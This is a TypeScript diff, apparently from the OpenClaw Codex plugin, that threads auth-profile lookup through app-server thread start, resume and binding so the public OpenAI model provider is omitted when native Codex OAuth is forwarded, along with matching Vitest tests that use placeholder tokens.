||||
}): EmbeddedRunAttemptParams {
|
||||
const authProfileProviders =
|
||||
params.authProfileProviders ??
|
||||
(params.authProfileId
|
||||
? { [params.authProfileId]: params.authProfileProvider ?? "openai-codex" }
|
||||
: {});
|
||||
return {
|
||||
provider: params.provider,
|
||||
modelId: "gpt-5.4",
|
||||
authProfileId: params.authProfileId,
|
||||
authProfileStore: {
|
||||
version: 1,
|
||||
profiles: Object.fromEntries(
|
||||
Object.entries(authProfileProviders).map(([profileId, provider]) => [
|
||||
profileId,
|
||||
{
|
||||
type: "oauth" as const,
|
||||
provider,
|
||||
access: "access-token",
|
||||
refresh: "refresh-token",
|
||||
expires: Date.now() + 60_000,
|
||||
},
|
||||
]),
|
||||
),
|
||||
},
|
||||
} as EmbeddedRunAttemptParams;
|
||||
}
|
||||
|
||||
function createAppServerOptions() {
|
||||
return {
|
||||
approvalPolicy: "on-request",
|
||||
approvalsReviewer: "user",
|
||||
sandbox: "workspace-write",
|
||||
} as const;
|
||||
}
|
||||
|
||||
describe("Codex app-server model provider selection", () => {
|
||||
it.each(["openai", "openai-codex"])(
|
||||
"omits public %s modelProvider when forwarding native Codex auth on thread/start",
|
||||
(provider) => {
|
||||
const request = buildThreadStartParams(
|
||||
createAttemptParams({ provider, authProfileId: "work" }),
|
||||
{
|
||||
cwd: "/repo",
|
||||
dynamicTools: [],
|
||||
appServer: createAppServerOptions() as never,
|
||||
developerInstructions: "test instructions",
|
||||
},
|
||||
);
|
||||
|
||||
expect(request).not.toHaveProperty("modelProvider");
|
||||
},
|
||||
);
|
||||
|
||||
it("uses the bound native Codex auth profile when deciding thread/resume modelProvider", () => {
|
||||
const request = buildThreadResumeParams(
|
||||
createAttemptParams({
|
||||
provider: "openai",
|
||||
authProfileProviders: { bound: "openai-codex" },
|
||||
}),
|
||||
{
|
||||
threadId: "thread-1",
|
||||
authProfileId: "bound",
|
||||
appServer: createAppServerOptions() as never,
|
||||
developerInstructions: "test instructions",
|
||||
},
|
||||
);
|
||||
|
||||
expect(request).not.toHaveProperty("modelProvider");
|
||||
});
|
||||
|
||||
it("does not infer native Codex auth from the profile id prefix", () => {
|
||||
const request = buildThreadStartParams(
|
||||
createAttemptParams({
|
||||
provider: "openai",
|
||||
authProfileId: "openai-codex:work",
|
||||
authProfileProvider: "openai",
|
||||
}),
|
||||
{
|
||||
cwd: "/repo",
|
||||
dynamicTools: [],
|
||||
appServer: createAppServerOptions() as never,
|
||||
developerInstructions: "test instructions",
|
||||
},
|
||||
);
|
||||
|
||||
expect(request).toMatchObject({ modelProvider: "openai" });
|
||||
});
|
||||
|
||||
it("keeps public OpenAI modelProvider when no native Codex auth profile is selected", () => {
|
||||
const request = buildThreadStartParams(createAttemptParams({ provider: "openai" }), {
|
||||
cwd: "/repo",
|
||||
dynamicTools: [],
|
||||
appServer: createAppServerOptions() as never,
|
||||
developerInstructions: "test instructions",
|
||||
});
|
||||
|
||||
expect(request).toMatchObject({ modelProvider: "openai" });
|
||||
});
|
||||
});
|
||||
|
||||
describe("resolveReasoningEffort (#71946)", () => {
|
||||
describe("modern Codex models (none/low/medium/high/xhigh enum)", () => {
|
||||
|
||||
@@ -25,8 +25,10 @@ import {
|
||||
} from "./protocol.js";
|
||||
import {
|
||||
clearCodexAppServerBinding,
|
||||
isCodexAppServerNativeAuthProfile,
|
||||
readCodexAppServerBinding,
|
||||
writeCodexAppServerBinding,
|
||||
type CodexAppServerAuthProfileLookup,
|
||||
type CodexAppServerThreadBinding,
|
||||
} from "./session-binding.js";
|
||||
|
||||
@@ -40,7 +42,11 @@ export async function startOrResumeThread(params: {
|
||||
config?: JsonObject;
|
||||
}): Promise<CodexAppServerThreadBinding> {
|
||||
const dynamicToolsFingerprint = fingerprintDynamicTools(params.dynamicTools);
|
||||
const binding = await readCodexAppServerBinding(params.params.sessionFile);
|
||||
const binding = await readCodexAppServerBinding(params.params.sessionFile, {
|
||||
authProfileStore: params.params.authProfileStore,
|
||||
agentDir: params.params.agentDir,
|
||||
config: params.params.config,
|
||||
});
|
||||
if (binding?.threadId) {
|
||||
// `/codex resume <thread>` writes a binding before the next turn can know
|
||||
// the dynamic tool catalog, so only invalidate fingerprints we actually have.
|
||||
@@ -57,28 +63,44 @@ export async function startOrResumeThread(params: {
|
||||
await clearCodexAppServerBinding(params.params.sessionFile);
|
||||
} else {
|
||||
try {
|
||||
const authProfileId = params.params.authProfileId ?? binding.authProfileId;
|
||||
const response = assertCodexThreadResumeResponse(
|
||||
await params.client.request(
|
||||
"thread/resume",
|
||||
buildThreadResumeParams(params.params, {
|
||||
threadId: binding.threadId,
|
||||
authProfileId,
|
||||
appServer: params.appServer,
|
||||
developerInstructions: params.developerInstructions,
|
||||
config: params.config,
|
||||
}),
|
||||
),
|
||||
);
|
||||
const boundAuthProfileId = params.params.authProfileId ?? binding.authProfileId;
|
||||
const fallbackModelProvider = resolveCodexAppServerModelProvider(params.params.provider);
|
||||
await writeCodexAppServerBinding(params.params.sessionFile, {
|
||||
threadId: response.thread.id,
|
||||
cwd: params.cwd,
|
||||
const boundAuthProfileId = authProfileId;
|
||||
const fallbackModelProvider = resolveCodexAppServerModelProvider({
|
||||
provider: params.params.provider,
|
||||
authProfileId: boundAuthProfileId,
|
||||
model: params.params.modelId,
|
||||
modelProvider: response.modelProvider ?? fallbackModelProvider,
|
||||
dynamicToolsFingerprint,
|
||||
createdAt: binding.createdAt,
|
||||
authProfileStore: params.params.authProfileStore,
|
||||
agentDir: params.params.agentDir,
|
||||
config: params.params.config,
|
||||
});
|
||||
await writeCodexAppServerBinding(
|
||||
params.params.sessionFile,
|
||||
{
|
||||
threadId: response.thread.id,
|
||||
cwd: params.cwd,
|
||||
authProfileId: boundAuthProfileId,
|
||||
model: params.params.modelId,
|
||||
modelProvider: response.modelProvider ?? fallbackModelProvider,
|
||||
dynamicToolsFingerprint,
|
||||
createdAt: binding.createdAt,
|
||||
},
|
||||
{
|
||||
authProfileStore: params.params.authProfileStore,
|
||||
agentDir: params.params.agentDir,
|
||||
config: params.params.config,
|
||||
},
|
||||
);
|
||||
return {
|
||||
...binding,
|
||||
threadId: response.thread.id,
|
||||
@@ -112,17 +134,31 @@ export async function startOrResumeThread(params: {
|
||||
}),
|
||||
),
|
||||
);
|
||||
const modelProvider = resolveCodexAppServerModelProvider(params.params.provider);
|
||||
const createdAt = new Date().toISOString();
|
||||
await writeCodexAppServerBinding(params.params.sessionFile, {
|
||||
threadId: response.thread.id,
|
||||
cwd: params.cwd,
|
||||
const modelProvider = resolveCodexAppServerModelProvider({
|
||||
provider: params.params.provider,
|
||||
authProfileId: params.params.authProfileId,
|
||||
model: response.model ?? params.params.modelId,
|
||||
modelProvider: response.modelProvider ?? modelProvider,
|
||||
dynamicToolsFingerprint,
|
||||
createdAt,
|
||||
authProfileStore: params.params.authProfileStore,
|
||||
agentDir: params.params.agentDir,
|
||||
config: params.params.config,
|
||||
});
|
||||
const createdAt = new Date().toISOString();
|
||||
await writeCodexAppServerBinding(
|
||||
params.params.sessionFile,
|
||||
{
|
||||
threadId: response.thread.id,
|
||||
cwd: params.cwd,
|
||||
authProfileId: params.params.authProfileId,
|
||||
model: response.model ?? params.params.modelId,
|
||||
modelProvider: response.modelProvider ?? modelProvider,
|
||||
dynamicToolsFingerprint,
|
||||
createdAt,
|
||||
},
|
||||
{
|
||||
authProfileStore: params.params.authProfileStore,
|
||||
agentDir: params.params.agentDir,
|
||||
config: params.params.config,
|
||||
},
|
||||
);
|
||||
return {
|
||||
schemaVersion: 1,
|
||||
threadId: response.thread.id,
|
||||
@@ -147,7 +183,13 @@ export function buildThreadStartParams(
|
||||
config?: JsonObject;
|
||||
},
|
||||
): CodexThreadStartParams {
|
||||
const modelProvider = resolveCodexAppServerModelProvider(params.provider);
|
||||
const modelProvider = resolveCodexAppServerModelProvider({
|
||||
provider: params.provider,
|
||||
authProfileId: params.authProfileId,
|
||||
authProfileStore: params.authProfileStore,
|
||||
agentDir: params.agentDir,
|
||||
config: params.config,
|
||||
});
|
||||
return {
|
||||
model: params.modelId,
|
||||
...(modelProvider ? { modelProvider } : {}),
|
||||
@@ -169,12 +211,19 @@ export function buildThreadResumeParams(
|
||||
params: EmbeddedRunAttemptParams,
|
||||
options: {
|
||||
threadId: string;
|
||||
authProfileId?: string;
|
||||
appServer: CodexAppServerRuntimeOptions;
|
||||
developerInstructions?: string;
|
||||
config?: JsonObject;
|
||||
},
|
||||
): CodexThreadResumeParams {
|
||||
const modelProvider = resolveCodexAppServerModelProvider(params.provider);
|
||||
const modelProvider = resolveCodexAppServerModelProvider({
|
||||
provider: params.provider,
|
||||
authProfileId: options.authProfileId ?? params.authProfileId,
|
||||
authProfileStore: params.authProfileStore,
|
||||
agentDir: params.agentDir,
|
||||
config: params.config,
|
||||
});
|
||||
return {
|
||||
threadId: options.threadId,
|
||||
model: params.modelId,
|
||||
@@ -326,14 +375,30 @@ function buildUserInput(
|
||||
];
|
||||
}
|
||||
|
||||
function resolveCodexAppServerModelProvider(provider: string): string | undefined {
|
||||
const normalized = provider.trim();
|
||||
if (!normalized || normalized === "codex") {
|
||||
function resolveCodexAppServerModelProvider(params: {
|
||||
provider: string;
|
||||
authProfileId?: string;
|
||||
authProfileStore?: CodexAppServerAuthProfileLookup["authProfileStore"];
|
||||
agentDir?: string;
|
||||
config?: CodexAppServerAuthProfileLookup["config"];
|
||||
}): string | undefined {
|
||||
const normalized = params.provider.trim();
|
||||
const normalizedLower = normalized.toLowerCase();
|
||||
if (!normalized || normalizedLower === "codex") {
|
||||
// `codex` is OpenClaw's virtual provider; let Codex app-server keep its
|
||||
// native provider/auth selection instead of forcing the legacy OpenAI path.
|
||||
return undefined;
|
||||
}
|
||||
return normalized === "openai-codex" ? "openai" : normalized;
|
||||
if (
|
||||
isCodexAppServerNativeAuthProfile(params) &&
|
||||
(normalizedLower === "openai" || normalizedLower === "openai-codex")
|
||||
) {
|
||||
// When OpenClaw is forwarding ChatGPT/Codex OAuth, `openai` is Codex's
|
||||
// native provider id, not a public OpenAI API-key choice. Omit the override
|
||||
// so app-server keeps its configured provider/auth pair for this session.
|
||||
return undefined;
|
||||
}
|
||||
return normalizedLower === "openai-codex" ? "openai" : normalized;
|
||||
}
|
||||
|
||||
// Modern Codex models (gpt-5.5, gpt-5.4, gpt-5.4-mini, gpt-5.2) use the
|
||||
|
||||
@@ -335,14 +335,21 @@ async function bindConversation(
|
||||
};
|
||||
}
|
||||
const workspaceDir = parsed.cwd ?? deps.resolveCodexDefaultWorkspaceDir(pluginConfig);
|
||||
const data = await deps.startCodexConversationThread({
|
||||
const existingBinding = await deps.readCodexAppServerBinding(ctx.sessionFile);
|
||||
const authProfileId = existingBinding?.authProfileId;
|
||||
const startParams: Parameters<CodexCommandDeps["startCodexConversationThread"]>[0] = {
|
||||
pluginConfig,
|
||||
config: ctx.config,
|
||||
sessionFile: ctx.sessionFile,
|
||||
workspaceDir,
|
||||
threadId: parsed.threadId,
|
||||
model: parsed.model,
|
||||
modelProvider: parsed.provider,
|
||||
});
|
||||
};
|
||||
if (authProfileId) {
|
||||
startParams.authProfileId = authProfileId;
|
||||
}
|
||||
const data = await deps.startCodexConversationThread(startParams);
|
||||
const binding = await deps.readCodexAppServerBinding(ctx.sessionFile);
|
||||
const threadId = binding?.threadId ?? parsed.threadId ?? "new thread";
|
||||
const summary = `Codex app-server thread ${threadId} in ${workspaceDir}`;
|
||||
|
||||
@@ -1374,7 +1374,13 @@ describe("codex command", () => {
|
||||
const sessionFile = path.join(tempDir, "session.jsonl");
|
||||
await fs.writeFile(
|
||||
`${sessionFile}.codex-app-server.json`,
|
||||
JSON.stringify({ schemaVersion: 1, threadId: "thread-123", cwd: "/repo" }),
|
||||
JSON.stringify({
|
||||
schemaVersion: 1,
|
||||
threadId: "thread-123",
|
||||
cwd: "/repo",
|
||||
authProfileId: "openai-codex:work",
|
||||
modelProvider: "openai",
|
||||
}),
|
||||
);
|
||||
const startCodexConversationThread = vi.fn(async () => ({
|
||||
kind: "codex-app-server-session" as const,
|
||||
@@ -1416,11 +1422,13 @@ describe("codex command", () => {
|
||||
});
|
||||
expect(startCodexConversationThread).toHaveBeenCalledWith({
|
||||
pluginConfig: undefined,
|
||||
config: {},
|
||||
sessionFile,
|
||||
workspaceDir: "/repo",
|
||||
threadId: "thread-123",
|
||||
model: "gpt-5.4",
|
||||
modelProvider: "openai",
|
||||
authProfileId: "openai-codex:work",
|
||||
});
|
||||
expect(requestConversationBinding).toHaveBeenCalledWith({
|
||||
summary: "Codex app-server thread thread-123 in /repo",
|
||||
|
||||
@@ -1,10 +1,30 @@
|
||||
import fs from "node:fs/promises";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { afterEach, beforeEach, describe, expect, it } from "vitest";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const sharedClientMocks = vi.hoisted(() => ({
|
||||
getSharedCodexAppServerClient: vi.fn(),
|
||||
}));
|
||||
|
||||
const agentRuntimeMocks = vi.hoisted(() => ({
|
||||
ensureAuthProfileStore: vi.fn(),
|
||||
loadAuthProfileStoreForSecretsRuntime: vi.fn(),
|
||||
resolveApiKeyForProfile: vi.fn(),
|
||||
resolveAuthProfileOrder: vi.fn(),
|
||||
resolveOpenClawAgentDir: vi.fn(() => "/agent"),
|
||||
resolvePersistedAuthProfileOwnerAgentDir: vi.fn(),
|
||||
resolveProviderIdForAuth: vi.fn((provider: string) => provider),
|
||||
saveAuthProfileStore: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("./app-server/shared-client.js", () => sharedClientMocks);
|
||||
vi.mock("openclaw/plugin-sdk/agent-runtime", () => agentRuntimeMocks);
|
||||
|
||||
import {
|
||||
handleCodexConversationBindingResolved,
|
||||
handleCodexConversationInboundClaim,
|
||||
startCodexConversationThread,
|
||||
} from "./conversation-binding.js";
|
||||
|
||||
let tempDir: string;
|
||||
@@ -15,9 +35,135 @@ describe("codex conversation binding", () => {
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
sharedClientMocks.getSharedCodexAppServerClient.mockReset();
|
||||
agentRuntimeMocks.ensureAuthProfileStore.mockReset();
|
||||
agentRuntimeMocks.loadAuthProfileStoreForSecretsRuntime.mockReset();
|
||||
agentRuntimeMocks.resolveApiKeyForProfile.mockReset();
|
||||
agentRuntimeMocks.resolveAuthProfileOrder.mockReset();
|
||||
agentRuntimeMocks.resolveOpenClawAgentDir.mockClear();
|
||||
agentRuntimeMocks.resolvePersistedAuthProfileOwnerAgentDir.mockReset();
|
||||
agentRuntimeMocks.resolveProviderIdForAuth.mockClear();
|
||||
agentRuntimeMocks.saveAuthProfileStore.mockReset();
|
||||
await fs.rm(tempDir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
beforeEach(() => {
|
||||
agentRuntimeMocks.ensureAuthProfileStore.mockReturnValue({ version: 1, profiles: {} });
|
||||
agentRuntimeMocks.resolveAuthProfileOrder.mockReturnValue([]);
|
||||
agentRuntimeMocks.resolveOpenClawAgentDir.mockReturnValue("/agent");
|
||||
agentRuntimeMocks.resolveProviderIdForAuth.mockImplementation((provider: string) => provider);
|
||||
});
|
||||
|
||||
it("uses the default Codex auth profile and omits the public OpenAI provider for new binds", async () => {
|
||||
const sessionFile = path.join(tempDir, "session.jsonl");
|
||||
const config = { auth: { order: { "openai-codex": ["openai-codex:default"] } } };
|
||||
const requests: Array<{ method: string; params: Record<string, unknown> }> = [];
|
||||
agentRuntimeMocks.ensureAuthProfileStore.mockReturnValue({
|
||||
version: 1,
|
||||
profiles: {
|
||||
"openai-codex:default": {
|
||||
type: "oauth",
|
||||
provider: "openai-codex",
|
||||
access: "access-token",
|
||||
},
|
||||
},
|
||||
});
|
||||
agentRuntimeMocks.resolveAuthProfileOrder.mockReturnValue(["openai-codex:default"]);
|
||||
sharedClientMocks.getSharedCodexAppServerClient.mockResolvedValue({
|
||||
request: vi.fn(async (method: string, requestParams: Record<string, unknown>) => {
|
||||
requests.push({ method, params: requestParams });
|
||||
return {
|
||||
thread: { id: "thread-new", cwd: tempDir },
|
||||
model: "gpt-5.4-mini",
|
||||
};
|
||||
}),
|
||||
});
|
||||
|
||||
await startCodexConversationThread({
|
||||
config: config as never,
|
||||
sessionFile,
|
||||
workspaceDir: tempDir,
|
||||
model: "gpt-5.4-mini",
|
||||
modelProvider: "openai",
|
||||
});
|
||||
|
||||
expect(agentRuntimeMocks.resolveAuthProfileOrder).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ cfg: config, provider: "openai-codex" }),
|
||||
);
|
||||
expect(sharedClientMocks.getSharedCodexAppServerClient).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ authProfileId: "openai-codex:default" }),
|
||||
);
|
||||
expect(requests).toHaveLength(1);
|
||||
expect(requests[0]).toMatchObject({
|
||||
method: "thread/start",
|
||||
params: expect.objectContaining({ model: "gpt-5.4-mini" }),
|
||||
});
|
||||
expect(requests[0]?.params).not.toHaveProperty("modelProvider");
|
||||
await expect(fs.readFile(`${sessionFile}.codex-app-server.json`, "utf8")).resolves.toContain(
|
||||
'"authProfileId": "openai-codex:default"',
|
||||
);
|
||||
});
|
||||
|
||||
it("preserves Codex auth and omits the public OpenAI provider for native bind threads", async () => {
|
||||
const sessionFile = path.join(tempDir, "session.jsonl");
|
||||
agentRuntimeMocks.ensureAuthProfileStore.mockReturnValue({
|
||||
version: 1,
|
||||
profiles: {
|
||||
work: {
|
||||
type: "oauth",
|
||||
provider: "openai-codex",
|
||||
access: "access-token",
|
||||
refresh: "refresh-token",
|
||||
expires: Date.now() + 60_000,
|
||||
},
|
||||
},
|
||||
});
|
||||
await fs.writeFile(
|
||||
`${sessionFile}.codex-app-server.json`,
|
||||
JSON.stringify({
|
||||
schemaVersion: 1,
|
||||
threadId: "thread-old",
|
||||
cwd: tempDir,
|
||||
authProfileId: "work",
|
||||
modelProvider: "openai",
|
||||
}),
|
||||
);
|
||||
const requests: Array<{ method: string; params: Record<string, unknown> }> = [];
|
||||
sharedClientMocks.getSharedCodexAppServerClient.mockResolvedValue({
|
||||
request: vi.fn(async (method: string, requestParams: Record<string, unknown>) => {
|
||||
requests.push({ method, params: requestParams });
|
||||
return {
|
||||
thread: { id: "thread-new", cwd: tempDir },
|
||||
model: "gpt-5.4-mini",
|
||||
modelProvider: "openai",
|
||||
};
|
||||
}),
|
||||
});
|
||||
|
||||
await startCodexConversationThread({
|
||||
sessionFile,
|
||||
workspaceDir: tempDir,
|
||||
model: "gpt-5.4-mini",
|
||||
modelProvider: "openai",
|
||||
});
|
||||
|
||||
expect(sharedClientMocks.getSharedCodexAppServerClient).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ authProfileId: "work" }),
|
||||
);
|
||||
expect(requests).toHaveLength(1);
|
||||
expect(requests[0]).toMatchObject({
|
||||
method: "thread/start",
|
||||
params: expect.objectContaining({ model: "gpt-5.4-mini" }),
|
||||
});
|
||||
expect(requests[0]?.params).not.toHaveProperty("modelProvider");
|
||||
await expect(fs.readFile(`${sessionFile}.codex-app-server.json`, "utf8")).resolves.toContain(
|
||||
'"authProfileId": "work"',
|
||||
);
|
||||
await expect(
|
||||
fs.readFile(`${sessionFile}.codex-app-server.json`, "utf8"),
|
||||
).resolves.not.toContain('"modelProvider": "openai"');
|
||||
});
|
||||
|
||||
it("clears the Codex app-server sidecar when a pending bind is denied", async () => {
|
||||
const sessionFile = path.join(tempDir, "session.jsonl");
|
||||
const sidecar = `${sessionFile}.codex-app-server.json`;
|
||||
@@ -73,4 +219,76 @@ describe("codex conversation binding", () => {
|
||||
|
||||
expect(result).toEqual({ handled: true });
|
||||
});
|
||||
|
||||
it("returns a clean failure reply when app-server turn start rejects", async () => {
|
||||
const sessionFile = path.join(tempDir, "session.jsonl");
|
||||
await fs.writeFile(
|
||||
`${sessionFile}.codex-app-server.json`,
|
||||
JSON.stringify({
|
||||
schemaVersion: 1,
|
||||
threadId: "thread-1",
|
||||
cwd: tempDir,
|
||||
authProfileId: "openai-codex:work",
|
||||
}),
|
||||
);
|
||||
const unhandledRejections: unknown[] = [];
|
||||
const onUnhandledRejection = (reason: unknown) => {
|
||||
unhandledRejections.push(reason);
|
||||
};
|
||||
process.on("unhandledRejection", onUnhandledRejection);
|
||||
sharedClientMocks.getSharedCodexAppServerClient.mockResolvedValue({
|
||||
request: vi.fn(async (method: string) => {
|
||||
if (method === "turn/start") {
|
||||
throw new Error(
|
||||
"unexpected status 401 Unauthorized: Missing bearer or basic authentication in header",
|
||||
);
|
||||
}
|
||||
throw new Error(`unexpected method: ${method}`);
|
||||
}),
|
||||
addNotificationHandler: vi.fn(() => () => undefined),
|
||||
addRequestHandler: vi.fn(() => () => undefined),
|
||||
});
|
||||
|
||||
try {
|
||||
const result = await handleCodexConversationInboundClaim(
|
||||
{
|
||||
content: "hi",
|
||||
bodyForAgent: "hi",
|
||||
channel: "telegram",
|
||||
isGroup: false,
|
||||
commandAuthorized: true,
|
||||
},
|
||||
{
|
||||
channelId: "telegram",
|
||||
pluginBinding: {
|
||||
bindingId: "binding-1",
|
||||
pluginId: "codex",
|
||||
pluginRoot: tempDir,
|
||||
channel: "telegram",
|
||||
accountId: "default",
|
||||
conversationId: "5185575566",
|
||||
boundAt: Date.now(),
|
||||
data: {
|
||||
kind: "codex-app-server-session",
|
||||
version: 1,
|
||||
sessionFile,
|
||||
workspaceDir: tempDir,
|
||||
},
|
||||
},
|
||||
},
|
||||
{ timeoutMs: 50 },
|
||||
);
|
||||
await new Promise<void>((resolve) => setImmediate(resolve));
|
||||
|
||||
expect(result).toEqual({
|
||||
handled: true,
|
||||
reply: {
|
||||
text: "Codex app-server turn failed: unexpected status 401 Unauthorized: Missing bearer or basic authentication in header",
|
||||
},
|
||||
});
|
||||
expect(unhandledRejections).toEqual([]);
|
||||
} finally {
|
||||
process.off("unhandledRejection", onUnhandledRejection);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
@@ -5,6 +5,7 @@ import type {
|
||||
PluginHookInboundClaimEvent,
|
||||
} from "openclaw/plugin-sdk/plugin-entry";
|
||||
import type { ReplyPayload } from "openclaw/plugin-sdk/reply-payload";
|
||||
import { resolveCodexAppServerAuthProfileIdForAgent } from "./app-server/auth-bridge.js";
|
||||
import { CODEX_CONTROL_METHODS } from "./app-server/capabilities.js";
|
||||
import {
|
||||
codexSandboxPolicyForTurn,
|
||||
@@ -18,8 +19,11 @@ import {
|
||||
} from "./app-server/protocol.js";
|
||||
import {
|
||||
clearCodexAppServerBinding,
|
||||
isCodexAppServerNativeAuthProfile,
|
||||
normalizeCodexAppServerBindingModelProvider,
|
||||
readCodexAppServerBinding,
|
||||
writeCodexAppServerBinding,
|
||||
type CodexAppServerAuthProfileLookup,
|
||||
} from "./app-server/session-binding.js";
|
||||
import { getSharedCodexAppServerClient } from "./app-server/shared-client.js";
|
||||
import {
|
||||
@@ -47,11 +51,13 @@ type CodexConversationRunOptions = {
|
||||
|
||||
type CodexConversationStartParams = {
|
||||
pluginConfig?: unknown;
|
||||
config?: Parameters<typeof resolveCodexAppServerAuthProfileIdForAgent>[0]["config"];
|
||||
sessionFile: string;
|
||||
workspaceDir?: string;
|
||||
threadId?: string;
|
||||
model?: string;
|
||||
modelProvider?: string;
|
||||
authProfileId?: string;
|
||||
};
|
||||
|
||||
type BoundTurnResult = {
|
||||
@@ -77,6 +83,13 @@ export async function startCodexConversationThread(
|
||||
): Promise<CodexConversationBindingData> {
|
||||
const workspaceDir =
|
||||
params.workspaceDir?.trim() || resolveCodexDefaultWorkspaceDir(params.pluginConfig);
|
||||
const existingBinding = await readCodexAppServerBinding(params.sessionFile, {
|
||||
config: params.config,
|
||||
});
|
||||
const authProfileId = resolveCodexAppServerAuthProfileIdForAgent({
|
||||
authProfileId: params.authProfileId ?? existingBinding?.authProfileId,
|
||||
config: params.config,
|
||||
});
|
||||
if (params.threadId?.trim()) {
|
||||
await attachExistingThread({
|
||||
pluginConfig: params.pluginConfig,
|
||||
@@ -85,6 +98,8 @@ export async function startCodexConversationThread(
|
||||
workspaceDir,
|
||||
model: params.model,
|
||||
modelProvider: params.modelProvider,
|
||||
authProfileId,
|
||||
config: params.config,
|
||||
});
|
||||
} else {
|
||||
await createThread({
|
||||
@@ -93,6 +108,8 @@ export async function startCodexConversationThread(
|
||||
workspaceDir,
|
||||
model: params.model,
|
||||
modelProvider: params.modelProvider,
|
||||
authProfileId,
|
||||
config: params.config,
|
||||
});
|
||||
}
|
||||
return createCodexConversationBindingData({
|
||||
@@ -158,18 +175,26 @@ async function attachExistingThread(params: {
|
||||
workspaceDir: string;
|
||||
model?: string;
|
||||
modelProvider?: string;
|
||||
authProfileId?: string;
|
||||
config?: CodexAppServerAuthProfileLookup["config"];
|
||||
}): Promise<void> {
|
||||
const runtime = resolveCodexAppServerRuntimeOptions({ pluginConfig: params.pluginConfig });
|
||||
const modelProvider = resolveThreadRequestModelProvider({
|
||||
authProfileId: params.authProfileId,
|
||||
modelProvider: params.modelProvider,
|
||||
config: params.config,
|
||||
});
|
||||
const client = await getSharedCodexAppServerClient({
|
||||
startOptions: runtime.start,
|
||||
timeoutMs: runtime.requestTimeoutMs,
|
||||
authProfileId: params.authProfileId,
|
||||
});
|
||||
const response: CodexThreadResumeResponse = await client.request(
|
||||
CODEX_CONTROL_METHODS.resumeThread,
|
||||
{
|
||||
threadId: params.threadId,
|
||||
...(params.model ? { model: params.model } : {}),
|
||||
...(params.modelProvider ? { modelProvider: params.modelProvider } : {}),
|
||||
...(modelProvider ? { modelProvider } : {}),
|
||||
approvalPolicy: runtime.approvalPolicy,
|
||||
approvalsReviewer: runtime.approvalsReviewer,
|
||||
sandbox: runtime.sandbox,
|
||||
@@ -179,15 +204,26 @@ async function attachExistingThread(params: {
|
||||
{ timeoutMs: runtime.requestTimeoutMs },
|
||||
);
|
||||
const thread = response.thread;
|
||||
await writeCodexAppServerBinding(params.sessionFile, {
|
||||
threadId: thread.id,
|
||||
cwd: thread.cwd ?? params.workspaceDir,
|
||||
model: response.model ?? params.model,
|
||||
modelProvider: response.modelProvider ?? params.modelProvider,
|
||||
approvalPolicy: runtime.approvalPolicy,
|
||||
sandbox: runtime.sandbox,
|
||||
serviceTier: runtime.serviceTier,
|
||||
});
|
||||
await writeCodexAppServerBinding(
|
||||
params.sessionFile,
|
||||
{
|
||||
threadId: thread.id,
|
||||
cwd: thread.cwd ?? params.workspaceDir,
|
||||
authProfileId: params.authProfileId,
|
||||
model: response.model ?? params.model,
|
||||
modelProvider: normalizeCodexAppServerBindingModelProvider({
|
||||
config: params.config,
|
||||
authProfileId: params.authProfileId,
|
||||
modelProvider: response.modelProvider ?? params.modelProvider,
|
||||
}),
|
||||
approvalPolicy: runtime.approvalPolicy,
|
||||
sandbox: runtime.sandbox,
|
||||
serviceTier: runtime.serviceTier,
|
||||
},
|
||||
{
|
||||
config: params.config,
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
async function createThread(params: {
|
||||
@@ -196,18 +232,26 @@ async function createThread(params: {
|
||||
workspaceDir: string;
|
||||
model?: string;
|
||||
modelProvider?: string;
|
||||
authProfileId?: string;
|
||||
config?: CodexAppServerAuthProfileLookup["config"];
|
||||
}): Promise<void> {
|
||||
const runtime = resolveCodexAppServerRuntimeOptions({ pluginConfig: params.pluginConfig });
|
||||
const modelProvider = resolveThreadRequestModelProvider({
|
||||
authProfileId: params.authProfileId,
|
||||
modelProvider: params.modelProvider,
|
||||
config: params.config,
|
||||
});
|
||||
const client = await getSharedCodexAppServerClient({
|
||||
startOptions: runtime.start,
|
||||
timeoutMs: runtime.requestTimeoutMs,
|
||||
authProfileId: params.authProfileId,
|
||||
});
|
||||
const response: CodexThreadStartResponse = await client.request(
|
||||
"thread/start",
|
||||
{
|
||||
cwd: params.workspaceDir,
|
||||
...(params.model ? { model: params.model } : {}),
|
||||
...(params.modelProvider ? { modelProvider: params.modelProvider } : {}),
|
||||
...(modelProvider ? { modelProvider } : {}),
|
||||
approvalPolicy: runtime.approvalPolicy,
|
||||
approvalsReviewer: runtime.approvalsReviewer,
|
||||
sandbox: runtime.sandbox,
|
||||
@@ -219,15 +263,26 @@ async function createThread(params: {
|
||||
},
|
||||
{ timeoutMs: runtime.requestTimeoutMs },
|
||||
);
|
||||
await writeCodexAppServerBinding(params.sessionFile, {
|
||||
threadId: response.thread.id,
|
||||
cwd: response.thread.cwd ?? params.workspaceDir,
|
||||
model: response.model ?? params.model,
|
||||
modelProvider: response.modelProvider ?? params.modelProvider,
|
||||
approvalPolicy: runtime.approvalPolicy,
|
||||
sandbox: runtime.sandbox,
|
||||
serviceTier: runtime.serviceTier,
|
||||
});
|
||||
await writeCodexAppServerBinding(
|
||||
params.sessionFile,
|
||||
{
|
||||
threadId: response.thread.id,
|
||||
cwd: response.thread.cwd ?? params.workspaceDir,
|
||||
authProfileId: params.authProfileId,
|
||||
model: response.model ?? params.model,
|
||||
modelProvider: normalizeCodexAppServerBindingModelProvider({
|
||||
config: params.config,
|
||||
authProfileId: params.authProfileId,
|
||||
modelProvider: response.modelProvider ?? params.modelProvider,
|
||||
}),
|
||||
approvalPolicy: runtime.approvalPolicy,
|
||||
sandbox: runtime.sandbox,
|
||||
serviceTier: runtime.serviceTier,
|
||||
},
|
||||
{
|
||||
config: params.config,
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
async function runBoundTurn(params: {
|
||||
@@ -342,10 +397,30 @@ function enqueueBoundTurn<T>(key: string, run: () => Promise<T>): Promise<T> {
|
||||
() => undefined,
|
||||
);
|
||||
state.queues.set(key, queued);
|
||||
void next.finally(() => {
|
||||
if (state.queues.get(key) === queued) {
|
||||
